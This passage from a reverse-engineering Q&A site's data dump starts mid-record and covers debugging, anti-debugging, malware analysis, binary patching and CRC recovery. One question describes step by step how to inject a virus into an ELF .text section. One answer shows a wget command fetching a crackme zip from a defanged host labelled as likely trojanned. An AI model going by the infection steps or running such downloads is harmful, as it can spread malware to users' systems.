thirdarg&#xA;[0x779d70d8]&amp;gt; q&#xA;Do you want to quit? (Y/n) y&#xA;Do you want to kill the process? (Y/n) y&#xA;&#xA;:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-04-25T21:33:06.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18108" PostTypeId="2" ParentId="18063" CreationDate="2018-04-26T00:16:50.270" Score="3" Body="&lt;p&gt;Solution is very simple:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;get pointer to pseudoview&lt;/p&gt;&#xA;&#xA;&lt;p&gt;vdui_t * vuu= open_pseudocode(func-&gt;startEA, 0);&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Get Pointer to variables&lt;/p&gt;&#xA;&#xA;&lt;p&gt;lvars_t&amp;amp; lvars = *pFunction-&gt;get_lvars();&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Simply rename variable &lt;/p&gt;&#xA;&#xA;&lt;p&gt;vuu-&gt;rename_lvar(&amp;amp;lvars.at(i), &quot;permanamed&quot;, true);&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;last bool flag in rename_lvar func, operate if renaming is permanent or not .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s.&#xA;Its kind'a bad solution as it require opening pseudo view, but i didn't find any other way to do it permanently , or similiar, working function that set's flag like in rename_lvar func .&lt;/p&gt;&#xA;" OwnerUserId="14279" LastActivityDate="2018-04-26T00:16:50.270" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18109" PostTypeId="1" CreationDate="2018-04-26T02:10:13.083" Score="1" ViewCount="484" Body="&lt;p&gt;I'm trying to implement an example of an ELF .text infection as described in &quot;Learning Linux Binary Analysis&quot;. I'm currently having a problem where I successfully injected my data into the .text section, readelf displays no errors but the program terminates during startup. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My process so far is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Increased sh_size of the .text section header by the size of the data I want to inject.&lt;/li&gt;&#xA;&lt;li&gt;Shifted all sections after the .text section by the size of the injected data (Modifying sh_offset and sh_addr in section headers).&lt;/li&gt;&#xA;&lt;li&gt;Find the program header where the .text section resides by checking p_type, p_flags, and p_offset; then increasing p_filesz and p_memsz by the size of injected data.&lt;/li&gt;&#xA;&lt;li&gt;For all other program headers afterwards, add the size of the injected data to p_offset.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The entry point to the file has not been modified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to debug the resulting file in radare2, it outputs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x7fd315665007]&amp;gt; aa&#xA;[Cannot find function 'entry0' at 0xffffffffff600530(aa)&#xA;[x] Analyze all flags starting with sym. and entry0 (aa)&#xA;[0x7fd315665007]&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I list the number of functions I see a lot are missing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x7f05c7bff007]&amp;gt; afl&#xA;0xffffffffff600000    1 10           sym.imp..6&#xA;0xffffffffff600800    1 10           fcn.ffffffffff600800&#xA;[0x7f05c7bff007]&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Compare to the original file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x7f3700c6dea0]&amp;gt; afl&#xA;0x55daca36a000    3 73   -&amp;gt; 75   sym.imp.__libc_start_main&#xA;0x55daca36a4e8    3 23           sym._init&#xA;0x55daca36a510    1 6            sym.imp.puts&#xA;0x55daca36a520    1 6            fcn.55daca36a520&#xA;0x55daca36a530    1 43           entry0&#xA;0x55daca36a560    4 50   -&amp;gt; 40   sym.deregister_tm_clones&#xA;0x55daca36a5a0    4 66   -&amp;gt; 57   sym.register_tm_clones&#xA;0x55daca36a5f0    4 49           sym.__do_global_dtors_aux&#xA;0x55daca36a630    1 10           entry1.init&#xA;0x55daca36a63a    1 34           sym.main&#xA;0x55daca36a660    4 101          sym.__libc_csu_init&#xA;0x55daca36a6d0    1 2            sym.__libc_csu_fini&#xA;0x55daca36a6d4    1 9            sym._fini&#xA;0x55daca56afe0    1 1020         reloc.__libc_start_main&#xA;[0x7f3700c6dea0]&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Listing the section headers using readelf also show that some sections are missing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Segment Sections...&#xA;   00&#xA;   01     .interp&#xA;   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame&#xA;   03     .init_array .fini_array .dynamic .got .data&#xA;   04&#xA;   05     .note.gnu.build-id&#xA;   06&#xA;   07&#xA;   08     .init_array .fini_array .dynamic&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Compared to the original file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Segment Sections...&#xA;   00&#xA;   01     .interp&#xA;   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame&#xA;   03     .init_array .fini_array .dynamic .got .data .bss&#xA;   04     .dynamic&#xA;   05     .note.ABI-tag .note.gnu.build-id&#xA;   06     .eh_frame_hdr&#xA;   07&#xA;   08     .init_array .fini_array .dynamic .got&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think there's a problem in the way the section headers are being moved, but I haven't found the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&#xA;I found a bug in the process which would edit a section/program header offset even if it was after the .text section. After fixing this, radare2 was able to find all functions including entry0. However, one function's name is different:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x00000510    1 6            sym.imp.puts&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Becomes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x00000510    1 6            fcn.00000510&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is clearly a call to the puts() functions. Maybe I need to modify an offset here as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The missing sections problem still happens even with the fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2&lt;/strong&gt;&#xA;I found that the p_vaddr value of a program header also should be increased along with p_offset. This fixed the problem where sections would be missing from readelf -l. The resulting program will now successfully start but hits a segmentation fault at runtime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 3&lt;/strong&gt;&#xA;I added procedures to update the .rel* sections by increasing the offsets of each rel by the virus size. This makes r2 list all of the function names correctly. The executable starts, but hits another segmentation fault at runtime.&lt;/p&gt;&#xA;" OwnerUserId="24167" LastEditorUserId="24167" LastEditDate="2018-04-26T20:25:52.417" LastActivityDate="2018-04-26T20:25:52.417" Title="ELF .text infection test" Tags="|elf|malware|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18115" PostTypeId="1" AcceptedAnswerId="18133" CreationDate="2018-04-26T18:44:17.973" Score="0" ViewCount="655" Body="&lt;p&gt;Reversing a malware sample and have identified the elf as stripped which seems to be why none of the functions are explicitly named. Also, there are no specified imports listed for some reason. Does not appear to be obfuscated though I could be wrong. The strings are not obfuscated so I have been trying to get my hands dirty in basic analysis by looking up where the strings correspond in disassembly. No doubt I will have to find a way to easily identify these thousands of functions which appear just as numerals rather than explicit names. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="24178" LastActivityDate="2018-05-03T12:48:22.610" Title="Stripped elf executable with ~3000 unnamed functions" Tags="|disassembly|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18118" PostTypeId="1" CreationDate="2018-04-27T13:54:55.753" Score="1" ViewCount="8298" Body="&lt;p&gt;I tried to debug a windows application, but when I debug it with Ida, it stopped on &lt;code&gt;int 3&lt;/code&gt; instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read that &lt;code&gt;int 3&lt;/code&gt; catch debugger so I cant debug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I cancel this &lt;code&gt;int 3&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How call to &lt;code&gt;int 3&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I change this hex to &lt;code&gt;nop&lt;/code&gt; will it be cancel?&lt;/p&gt;&#xA;" OwnerUserId="23993" LastEditorUserId="18014" LastEditDate="2018-04-28T14:30:28.630" LastActivityDate="2018-06-30T10:32:15.083" Title="How to skip on int 3 when ida debug?" Tags="|ida|anti-debugging|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18120" PostTypeId="2" ParentId="18118" CreationDate="2018-04-28T14:24:10.287" Score="1" Body="&lt;p&gt;Well &lt;code&gt;int 3&lt;/code&gt; is opcode that it's especially meant for the purpose to call debugger. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is used i.e. for software breakpoint. You could replace them with &lt;code&gt;nop&lt;/code&gt;'s and you should be good to go. I would though find out why they are being executed in the first place and maybe there is some condition to avoid them being exec'd.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-04-28T14:24:10.287" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18121" PostTypeId="1" CreationDate="2018-04-28T20:33:10.217" Score="1" ViewCount="130" Body="&lt;p&gt;They are multiple reports of recaptcha v2 bypass. Most of the time, the explanation is neural networks services provided by Google or ɪʙᴍ.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there is something I am failing to understand : for most captcha (and including recaptcha v1) the manually deciphered text is sent directly to the server inside an ʜᴛᴛᴘ header. But with recaptcha v2, response sent to sever looks like :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;g-recaptcha-response:03AJpayVEtSKNOXg7TJwMkmxzLA_HrnWMKm6p0ox6W6hhMcw3Bzxab8ariLgg8Q8wXpUcF8HLkhAd1ixXgNvBDde5ggVXidl3NuHSQcnP4QqJkVvWZ2s4_CQ1lHTw6oNEqXyiBuS3CkiHBhoB5akijJ6ld115K_OWZo6mfB4xz_-I2P36fVqT9VzEUz26wrauN9QZuC6lh80mf-fkxqCPmNYSOcMrHxR33Flby05gzo5cD1B-2FucaoFP11p2svvZrWC_vAjz5bGOzW0DufM2kkdtLIlhzl9GBzm_chyirSJItHGdz0bMuxDYZkRKY8c4gXUmzT09VEgivi032zZnNXtrVA04gXF5yE0tAtnGTwi31hMdzumPoc6GdLdIbvfbXgdyndocCLIph-j9T8ePf3JO8Jfcf6BNcmUKT2SrhZjIAPUOZV2Mg7Qua_s4zNHYx1-NE8zoe9SG-VxuPbx2sjR32ce4oapa6VA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;even with an audio to text sample. Whatever the method claimed to be used, I am still failing to understand the link between &lt;code&gt;g-recaptcha-response&lt;/code&gt; http header and human created data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recreating the &lt;code&gt;g-recaptcha-response&lt;/code&gt; one time token seems to be a requirement for all bypass methods.&lt;br&gt;&#xA;So what is the link between the one time token and a deciphered audio text for example ?&lt;/p&gt;&#xA;" OwnerUserId="17379" LastActivityDate="2018-04-28T20:33:10.217" Title="What is the link between g-recaptcha-response one time token and deciphered audio text?" Tags="|javascript|websites|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18122" PostTypeId="1" CreationDate="2018-04-28T23:59:42.003" Score="3" ViewCount="525" Body="&lt;p&gt;For some drivers I can use the following &lt;strong&gt;WinDBG&lt;/strong&gt; command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bu driver!DriverEntry&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However there are some drivers that cannot be debugged this way. IDA output window displays the following error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WaitForEvent() failed; please make sure that all unresolved bpts/expressions could be evaluated before continuing&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or breakpoint is completely ignored. This command does not help either:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sxe ld:driver&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to replace the first byte of driver's &lt;strong&gt;DriverEntry&lt;/strong&gt; code with &lt;strong&gt;CC&lt;/strong&gt; opcode (&lt;strong&gt;int 3&lt;/strong&gt;). After that virtual machine window silently closes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know how to break on &lt;strong&gt;DriverEntry&lt;/strong&gt; of such driver? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="24199" LastActivityDate="2018-04-28T23:59:42.003" Title="Cannot debug some drivers with IDA" Tags="|ida|debugging|kernel-mode|driver|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18124" PostTypeId="1" AcceptedAnswerId="18146" CreationDate="2018-04-29T09:53:19.027" Score="1" ViewCount="120" Body="&lt;p&gt;I am working on a project that requires to modify an existing OSX application's &lt;code&gt;dylib&lt;/code&gt; binary (few bytes to correct an obsolete URL). I do not have access to the application source code nor the code signing certificates. After patching the application everything works perfectly except it does not load its application &lt;code&gt;plist&lt;/code&gt; file from &lt;code&gt;~/Library/Preferences&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even without patching/modifying the application if I do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;codesign -s &quot;Local Codesign&quot; -f ./lib&amp;lt;name&amp;gt;.dylib&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and execute the application it does not read its properties from&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~/Library/Preferences/&amp;lt;application id&amp;gt;.plist&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;including previously opened files or connected servers. If I copy back the original (developer signed) &lt;code&gt;dylib&lt;/code&gt; then everything works fine: properties are read back again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One strange thing: even with my local signed binary which is unable to read the &lt;code&gt;plist&lt;/code&gt; file if I change something the changes are written back. So if this is an OSX security related stuff seems it's only affects reads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my questions and assumptions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Am I right when I am assuming that this is some kind of OSX security mechanism that ensures application &lt;code&gt;plist&lt;/code&gt; data cannot be accessed from a non-same-developer signed binary? If yes, why can it write and protects reads only?&lt;/li&gt;&#xA;&lt;li&gt;Does any of you find similar issue when modified an OSX binary?&lt;/li&gt;&#xA;&lt;li&gt;How can I debug this behaviour?  &lt;/li&gt;&#xA;&lt;li&gt;And yes: any solutions?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any comments and feedbacks are welcome.&lt;/p&gt;&#xA;" OwnerUserId="17982" LastActivityDate="2018-05-02T08:40:16.310" Title="OSX User level application Preferences (plist) are not loaded after binary modification" Tags="|osx|patching|binary-editing|macos|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18125" PostTypeId="1" AcceptedAnswerId="18135" CreationDate="2018-04-29T10:49:58.463" Score="0" ViewCount="109" Body="&lt;p&gt;I am trying to learn to reverse Engineering , i am very new and my English is very Poor... .I wanting to make this &lt;a href=&quot;http://octopuslabs.io/legend/blog/archives/2390/2390.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;exercise&lt;/a&gt; , but can't it , because not receive the hWnd identified from the MessageBox ,it is empty ....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The screenshot from they&#xA;&lt;a href=&quot;https://i.stack.imgur.com/pcOqS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pcOqS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My screenshot&#xA;&lt;a href=&quot;https://i.stack.imgur.com/zBdu5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zBdu5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to want to make this exercise with Ollydbg and Immunty Debugger , but without result... .I working with a Windows 7 , inside a VirtualBox   .&#xA;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms632597%28v=vs.85%29.aspx#window_handle&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here&lt;/a&gt; Speak what HWND do , what i don't Understande because all crackme.exe which i Downloaded have this parameter &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms645505(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;NULL&lt;/a&gt;.&#xA;Can Please anybody help me and with easy Words explain me how to solve this Problem , Thanks!&lt;/p&gt;&#xA;" OwnerUserId="24197" LastEditorUserId="24197" LastEditDate="2018-04-29T14:26:01.860" LastActivityDate="2018-05-01T14:30:59.297" Title="Empty Parameter an MessagerBox" Tags="|debugging|immunity-debugger|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18126" PostTypeId="1" CreationDate="2018-04-29T11:17:45.480" Score="1" ViewCount="58" Body="&lt;p&gt;Shortly, there is cheap chinese bluetooth lamp that can change colors by app on Android. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am basically reading communication logs on my phone and retrieving communication protocols of the app. Then, I am writing my own app to connect to that lamp. I am not even using any reverse engineering tools. It is basic Android developer's tool set, which can be enabled on any phone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am writing my thesis based on this app. And as I see, it is uncommercial, interoperability aimed, use of reverse engineering. &quot;Soft reverse engineering&quot;, if it is a thing :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But my thesis supervisor has got super paranoid concerning the law, so now I have to dig into it... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you, please, drop me some sources with legal acts or similar court cases... I would really appreciate if you will write short explanation for me, because english is not even my second language, and I am getting dizzy from lawyers' vocabulary :^j&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.s.: the country is Finland, though Europe and even US laws and cases would also fit.&lt;/p&gt;&#xA;" OwnerUserId="24200" LastActivityDate="2018-04-29T11:17:45.480" Title="Reading logs of commercial app and legality" Tags="|law|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18127" PostTypeId="1" CreationDate="2018-04-29T15:44:01.980" Score="0" ViewCount="2887" Body="&lt;p&gt;&lt;strong&gt;Dear members,&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to figure out the parameters of some hexadecimal CRC32 values I have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The values are:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Value - input (before hashing)&#xA;55D3028A - J&#xA;73AF2D02 - O&#xA;6742BE71 - T&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope I can figure out the polynominal and initial/final XOR value so I can hash my own values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using reveng to getting the parameters for hashing my own strings, but I didn't found a working solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the commands I've tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;./reveng.exe -w 32 -q 40000000 -s 55d3028a 73af2d02 6742be71&lt;/li&gt;&#xA;&lt;li&gt;./reveng.exe -w 32 -p 40000000 -q 80000000 -s 55d3028a 73af2d02 6742be71&lt;/li&gt;&#xA;&lt;li&gt;./reveng.exe -w 32 -p 80000000 -q c0000000 -s 55d3028a 73af2d02 6742be71&lt;/li&gt;&#xA;&lt;li&gt;./reveng.exe -w 32 -p c0000000 -q 0 -s 55d3028a 73af2d02 6742be71&lt;/li&gt;&#xA;&lt;li&gt;./reveng.exe -w 32 -l -s 55d3028a 73af2d02 6742be71&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is it possible to use the input value(s) and the given crc(s) to bruteforce/calculate the parameters or does someone know a other method to achieve the same goal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EvilID&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="24202" LastEditorUserId="24202" LastEditDate="2018-04-29T16:08:41.427" LastActivityDate="2018-04-30T21:55:25.217" Title="CRC32 reverse engineer without knowing parameters, but knowing the input value" Tags="|crc|hash-functions|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="18129" PostTypeId="1" CreationDate="2018-04-29T18:20:13.520" Score="1" ViewCount="465" Body="&lt;p&gt;Sorry for my bad English in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a program that has some protection. The problem is I can not set hardware and software breakpoints in x64dbg (to be more precise - not everywhere), cuz next action in program leading to crash. I use ScyllaHide plugin with almost all options enabled except special hooks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there are some strange things. I can modify all code without exceptions I even don't need to stop all threads, but just to be sure that some code is not executed at patching time. So I can take necessary information by patching. It seems there is no CRC check. Also, protection does not have driver part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, in order to debug it i have to attach at special time (before the program is fully loaded). If I run the program under debugging or at any other time, then it crashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you give me any idea how does it detect a debugger?&lt;/p&gt;&#xA;" OwnerUserId="24208" LastActivityDate="2018-04-29T18:20:13.520" Title="Failed to set breakpoint (Anti-debug protection)" Tags="|windows|anti-debugging|breakpoint|x64dbg|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18131" PostTypeId="2" ParentId="18098" CreationDate="2018-04-29T20:28:53.900" Score="3" Body="&lt;p&gt;This is not anti-debug but the standard way the Win32 debugging API implements process attaching. The thread with &lt;code&gt;DbgBreakPoint&lt;/code&gt; call is injected by the OS to ensure that the process gets stopped, since it could be in unknown state otherwise. Most debuggers should handle it transparently, but if yours does not, just set breakpoints on some APIs you’re interested in and resume the process. The breakpoint thread will exit but the other threads will continue to run and will hopefully hit your breakpoints. Alternatively you can just switch to main or another thread once paused, and inspect the call stack to see what the program is doing. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-04-29T20:28:53.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18132" PostTypeId="2" ParentId="17833" CreationDate="2018-04-29T20:54:34.907" Score="1" Body="&lt;p&gt;While possible, it will be pretty difficult. Modern high resolution LCD panels use complicated LVDS interface which requires specialized controller chips and with that screen resolution a standard microcontroller will struggle to push the data to it fast enough. If you nevertheless want to pursue this path, &lt;a href=&quot;https://electronics.stackexchange.com&quot;&gt;EE SE&lt;/a&gt; should give you some hints. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-04-29T20:54:34.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18133" PostTypeId="2" ParentId="18115" CreationDate="2018-04-29T21:51:08.877" Score="1" Body="&lt;p&gt;Although many ELF files have a symbol table, it is not required for executing a program by the OS. In particular, statically-linked programs embed all necessary library code inside, making the binary completely independent from any external libraries and able to run stand-alone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can start by identifying library functions. There are many ways to do it, here's a few suggestuions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If you know/can guess the compiler and the version used to compile the binary, you can try to match the libraries shipped with the compiler against the binary. GCC often leaves its version string in the binaries (sometimes even stripped ones), for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;GCC: (Sourcery G++ Lite 2010.09-58) 4.5.1&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;GCC: (GNU) 4.8&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;you can try looking for strings which identify library source files, function names or other messages which are unique enough to identify the function, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;__get_myaddress: ioctl (get interface configuration)&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;RPC: (unknown error code)&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If all else fails or the binary does not use a standard library, you can always fall back to tracking the use of syscalls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The binary has to interact with the OS somehow. This is done using so-called &lt;em&gt;syscalls&lt;/em&gt; (system calls) - special instructions which invoke OS services. On x86_64, this is done with the &lt;code&gt;syscall&lt;/code&gt; instruction, on &lt;code&gt;i386&lt;/code&gt; Linux using &lt;code&gt;int 0x80&lt;/code&gt;, while on ARM Linux, the &lt;code&gt;SVC&lt;/code&gt; (supervisor call) instruction is used. ARM system calls on EABI systems use numbers &lt;a href=&quot;https://w3challs.com/syscalls/?arch=arm_strong&quot; rel=&quot;nofollow noreferrer&quot;&gt;starting from &lt;code&gt;0x900000&lt;/code&gt;&lt;/a&gt; which are stored in &lt;code&gt;r7&lt;/code&gt; before invoking the &lt;code&gt;SVC&lt;/code&gt; instruction. So, for example, you can search for &lt;code&gt;0x900004&lt;/code&gt; to find the &lt;code&gt;write&lt;/code&gt; syscalls which are likely to be used in output functions.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2018-05-03T12:48:22.610" LastActivityDate="2018-05-03T12:48:22.610" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18135" PostTypeId="2" ParentId="18125" CreationDate="2018-04-30T11:44:36.060" Score="0" Body="&lt;p&gt;a hWnd to a MessageBox can be NULL   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you give NULL as an arg it measns the MessageBox is NonModal    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;NonModal means you can keep working with the parent application without having to dismiss the MessageBox    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;which version of ollydbg are you using if it was v 1.0  it came with a default commandline plugin  (alt + f1)  where you can type [ebp+8]  and get the result &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qZajL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qZajL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you are using v 2.0 use ctrl+g on the respective panes &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you want to view in dump select dump pane first and then &#xA;hit ctrl+g  type in [ebp+8] and follow expression &lt;/p&gt;&#xA;&#xA;&lt;p&gt;or you can use the address relative to option in stack to have a visual &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/emkZA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/emkZA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;do not use the executable from octopuslabs it is probably trojanned &#xA;the exe from crackmes.cf appears to be 1 kb less than that of octopuslabs exe &lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyway at [ebp+8] you wont get the same handle as in the tutorial it will be different for each invocation&#xA;just because you have a different handle does not matter &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\lafarge2&amp;gt;ls -R&#xA;.:&#xA;crackme.exe  octo&#xA;&#xA;./octo:&#xA;filehash.py  getoctocrackme.bat&#xA;&#xA;C:\lafarge2&amp;gt;cat octo\getoctocrackme.bat&#xA;wget -c hxxp://BEWARE_MALWARE_octopuslabs.io/legend/files/tuts/R4ndom_tutorial_22.zip&#xA;C:\lafarge2&amp;gt;cd octo&#xA;C:\lafarge2\octo&amp;gt;getoctocrackme.bat&#xA;&#xA;Length: 1555447 (1.5M) [application/zip]&#xA;Saving to: 'R4ndom_tutorial_22.zip'&#xA;&#xA;C:\lafarge2\octo&amp;gt;e:\7z\7z.exe e R4ndom_tutorial_22.zip&#xA;&#xA;Everything is Ok&#xA;Files: 7&#xA;&#xA;C:\lafarge2&amp;gt;fc crackme.exe octo\crackme.exe&#xA;Comparing files crackme.exe and OCTO\CRACKME.EXE&#xA;000000CE: 04 05&#xA;&#xA;0000095F: 79 